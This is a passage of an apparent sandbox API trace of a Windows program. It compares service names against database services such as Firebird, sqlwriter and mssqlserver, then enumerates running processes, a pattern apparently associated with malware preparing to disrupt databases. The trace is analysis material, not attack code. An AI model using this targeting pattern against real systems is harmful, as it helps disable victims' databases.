(lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0190.033] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0190.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0190.033] lstrlenW (lpString="iphlpsvc") returned 8 [0190.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0190.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0190.033] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0190.033] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0190.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0190.033] lstrlenW (lpString="KeyIso") returned 6 [0190.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0190.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0190.033] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0190.033] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0190.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0190.033] lstrlenW (lpString="LanmanServer") returned 12 [0190.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0190.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0190.033] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0190.033] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0190.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0190.033] lstrlenW (lpString="LanmanWorkstation") returned 17 [0190.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0190.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0190.033] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0190.033] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0190.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0190.033] lstrlenW (lpString="lfsvc") returned 5 [0190.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0190.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0190.033] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0190.034] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0190.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0190.034] lstrlenW (lpString="lmhosts") returned 7 [0190.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0190.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0190.034] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0190.034] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0190.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0190.034] lstrlenW (lpString="LSM") returned 3 [0190.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0190.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0190.034] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0190.034] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0190.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0190.034] lstrlenW (lpString="MpsSvc") returned 6 [0190.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0190.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0190.034] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0190.034] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0190.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0190.034] lstrlenW (lpString="NcbService") returned 10 [0190.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0190.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0190.034] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0190.034] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0190.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0190.034] lstrlenW (lpString="netprofm") returned 8 [0190.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0190.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0190.035] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0190.035] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0190.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0190.035] lstrlenW (lpString="NgcSvc") returned 6 [0190.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0190.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0190.035] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0190.035] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0190.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0190.035] lstrlenW (lpString="NlaSvc") returned 6 [0190.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0190.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0190.035] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0190.035] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0190.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0190.035] lstrlenW (lpString="nsi") returned 3 [0190.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0190.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0190.035] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0190.035] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0190.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0190.035] lstrlenW (lpString="PcaSvc") returned 6 [0190.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0190.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0190.035] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0190.035] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0190.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0190.035] lstrlenW (lpString="PlugPlay") returned 8 [0190.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0190.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0190.035] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0190.035] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0190.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0190.035] lstrlenW (lpString="Power") returned 5 [0190.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0190.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0190.035] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0190.036] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0190.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0190.036] lstrlenW (lpString="ProfSvc") returned 7 [0190.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0190.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0190.036] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0190.036] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0190.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0190.036] lstrlenW (lpString="RpcEptMapper") returned 12 [0190.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0190.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0190.036] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0190.036] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0190.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0190.036] lstrlenW (lpString="RpcSs") returned 5 [0190.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0190.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0190.036] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0190.036] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0190.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0190.036] lstrlenW (lpString="SamSs") returned 5 [0190.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0190.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0190.036] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0190.036] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0190.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0190.036] lstrlenW (lpString="Schedule") returned 8 [0190.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0190.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0190.036] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0190.036] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0190.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0190.036] lstrlenW (lpString="SecurityHealthService") returned 21 [0190.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0190.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0190.036] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0190.036] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0190.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0190.037] lstrlenW (lpString="SENS") returned 4 [0190.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0190.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0190.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0190.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0190.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0190.037] lstrlenW (lpString="ShellHWDetection") returned 16 [0190.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0190.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0190.037] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0190.037] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0190.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0190.037] lstrlenW (lpString="Spooler") returned 7 [0190.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0190.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0190.037] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0190.037] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0190.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0190.037] lstrlenW (lpString="StateRepository") returned 15 [0190.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0190.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0190.037] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0190.037] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0190.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0190.037] lstrlenW (lpString="SysMain") returned 7 [0190.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0190.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0190.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0190.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0190.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0190.037] lstrlenW (lpString="SystemEventsBroker") returned 18 [0190.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0190.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0190.037] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0190.037] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0190.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0190.038] lstrlenW (lpString="Themes") returned 6 [0190.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0190.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0190.038] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0190.038] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0190.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0190.038] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0190.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0190.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0190.038] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0190.038] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0190.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a4d50 | out: hHeap=0x660000) returned 1 [0190.038] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0190.046] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.047] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0190.047] lstrlenW (lpString="System") returned 6 [0190.047] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0190.048] lstrlenW (lpString="smss.exe") returned 8 [0190.048] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.048] lstrlenW (lpString="csrss.exe") returned 9 [0190.048] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0190.048] lstrlenW (lpString="wininit.exe") returned 11 [0190.048] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.049] lstrlenW (lpString="csrss.exe") returned 9 [0190.049] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0190.050] lstrlenW (lpString="winlogon.exe") returned 12 [0190.050] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0190.050] lstrlenW (lpString="services.exe") returned 12 [0190.050] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0190.051] lstrlenW (lpString="lsass.exe") returned 9 [0190.051] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0190.051] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0190.051] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0190.051] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0190.051] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.052] lstrlenW (lpString="svchost.exe") returned 11 [0190.052] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.052] lstrlenW (lpString="svchost.exe") returned 11 [0190.052] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0190.053] lstrlenW (lpString="dwm.exe") returned 7 [0190.053] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.053] lstrlenW (lpString="svchost.exe") returned 11 [0190.053] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.054] lstrlenW (lpString="svchost.exe") returned 11 [0190.054] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.054] lstrlenW (lpString="svchost.exe") returned 11 [0190.054] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.054] lstrlenW (lpString="svchost.exe") returned 11 [0190.054] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.055] lstrlenW (lpString="svchost.exe") returned 11 [0190.055] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.055] lstrlenW (lpString="svchost.exe") returned 11 [0190.055] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.056] lstrlenW (lpString="svchost.exe") returned 11 [0190.056] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.056] lstrlenW (lpString="svchost.exe") returned 11 [0190.056] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.056] lstrlenW (lpString="svchost.exe") returned 11 [0190.057] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.057] lstrlenW (lpString="svchost.exe") returned 11 [0190.057] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0190.057] lstrlenW (lpString="spoolsv.exe") returned 11 [0190.057] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.058] lstrlenW (lpString="svchost.exe") returned 11 [0190.058] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0190.058] lstrlenW (lpString="audiodg.exe") returned 11 [0190.058] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0190.059] lstrlenW (lpString="sihost.exe") returned 10 [0190.059] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.059] lstrlenW (lpString="svchost.exe") returned 11 [0190.059] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0190.059] lstrlenW (lpString="taskhostw.exe") returned 13 [0190.060] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0190.060] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0190.060] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0190.060] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0190.060] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0190.061] lstrlenW (lpString="Memory Compression") returned 18 [0190.061] Process32NextW (in: 